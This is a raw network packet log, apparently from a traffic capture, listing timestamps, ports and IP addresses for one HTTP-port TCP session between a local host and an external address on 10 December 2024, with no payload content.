Dec 10, 2024 02:51:11.222228050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.222270966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.223284006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.223340034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.223445892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.223546982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.224508047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.224555969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.224595070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.224639893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.225699902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.225748062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.225815058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.225864887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.226936102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.226982117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.227020979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.227066040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.228152037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.228162050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.228200912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.231384039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.231436968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.231476068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.231515884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.231993914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.232044935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.232075930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.232124090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.233175993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.233221054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.233314991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.233359098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.234400034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.234446049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.361700058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.361773968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.361866951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.362205982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.362257957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.362334013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.362389088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.363409042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.363462925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.363559961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.363614082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.364592075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.364634991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.364964962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.365008116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.365050077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.365098000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.366161108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.366208076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.366313934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.366360903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.367352962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.367399931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.367491961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.367538929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.368576050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.368623018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.368680954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.368724108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.369746923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.369796991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.369875908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.369924068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.370965958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.371017933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.371057987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.371104002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.372168064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.372215986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.372283936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.372330904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.373356104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.373408079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.373454094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.373497963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.374536037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.374586105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.374630928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.374687910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.375757933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.375808954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.375838995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.375889063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.376940966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.376990080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.377103090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.377146959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.378154039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.378204107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.378238916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.378298044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.379324913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.379373074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.379448891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.379494905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.380573034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.380621910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.380660057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.380712986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.381743908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.381803989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.381839991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.381885052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.382901907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.382961035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.382997990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.383039951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.384161949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.384211063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.384283066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.384341955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.385313988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.385368109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.385373116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.385430098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.386481047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.386535883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.386605024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.386646986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.387687922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.387742996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.387770891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.387815952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.388891935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.389017105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.389070988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.390096903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.390141010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.390161991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.390208960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.391258955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.391330957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.391365051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.391427994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.392433882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.392582893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.392610073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.392622948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.393666029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.393722057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.393754959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.393809080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.394884109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.394956112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.395018101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.396042109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.396097898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.396210909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.397222996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.397274017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.397464037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.397512913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.398427963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.398560047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.398597002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.398765087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.399599075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.399710894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.399729013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.399785042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.400788069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.400940895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.400988102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.402009010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.402143002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.402157068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.402200937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.403194904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.403249025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.403309107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.403398991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.404397964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.404489994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.404524088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.404550076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.405575991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.405622959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.405702114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.405754089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.406822920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.406929970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.406989098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.407041073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.407995939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.408046007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.408119917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.408179045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.409151077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.409264088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.409312010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.410362959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.410407066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.410474062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.410511017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.411566019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.411628008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.411664009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.411758900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.412750959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.412811995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.412851095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.412890911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.413940907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.413981915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.414041042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.414222002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.415129900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.415271044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.415276051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.415323973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.416336060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.416399002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.416450024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.417517900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.417579889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.417690992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.417757034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.418725014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.418771982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.418860912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.418906927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.419898987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.419954062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.423541069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.423615932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.423656940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.423698902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.424150944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.424253941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.424298048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.425299883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.425349951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.425441027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.425482035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.426495075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.426549911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.553828955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.554157972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.554234982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.554378033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.554440022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.554517031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.554558039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.555613041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.555656910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.555721045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.555766106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.556812048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.556941986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.556988955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.558001041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.558078051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.558104038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.558156013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.559190035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.559272051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.559320927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.559367895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.560358047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.560511112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.560563087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.561563969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.561614037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.561706066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.561758995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.562762022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.562808990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.562863111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.562908888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.563966990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.564016104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.564069986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.564116001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.565145016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.565249920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.565294981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.566342115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.566390038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.566474915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.566521883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.567574024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.567621946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.567658901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.567703009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.568741083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.568893909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.568950891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.569987059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.570039034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.570065022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.570111036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.571247101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.571293116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.571324110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.571371078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.572355032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.572491884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.572540998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.573565960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.573616028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.573616982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.573657990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.574701071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.574748039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.574810982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.574856997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.575894117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.575939894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.576061010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.576103926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.577122927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.577204943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.577258110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.578291893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.578336954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.578408003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.578455925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.579459906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.579504967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.579564095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.579607964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.580686092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.580768108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.580817938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.581856012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.581903934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.581999063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.582045078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.583107948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.583153963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.583362103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.583404064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.584280014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.584362984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.584417105 CET	49859	80	192.168.2.5	31.41.244.11
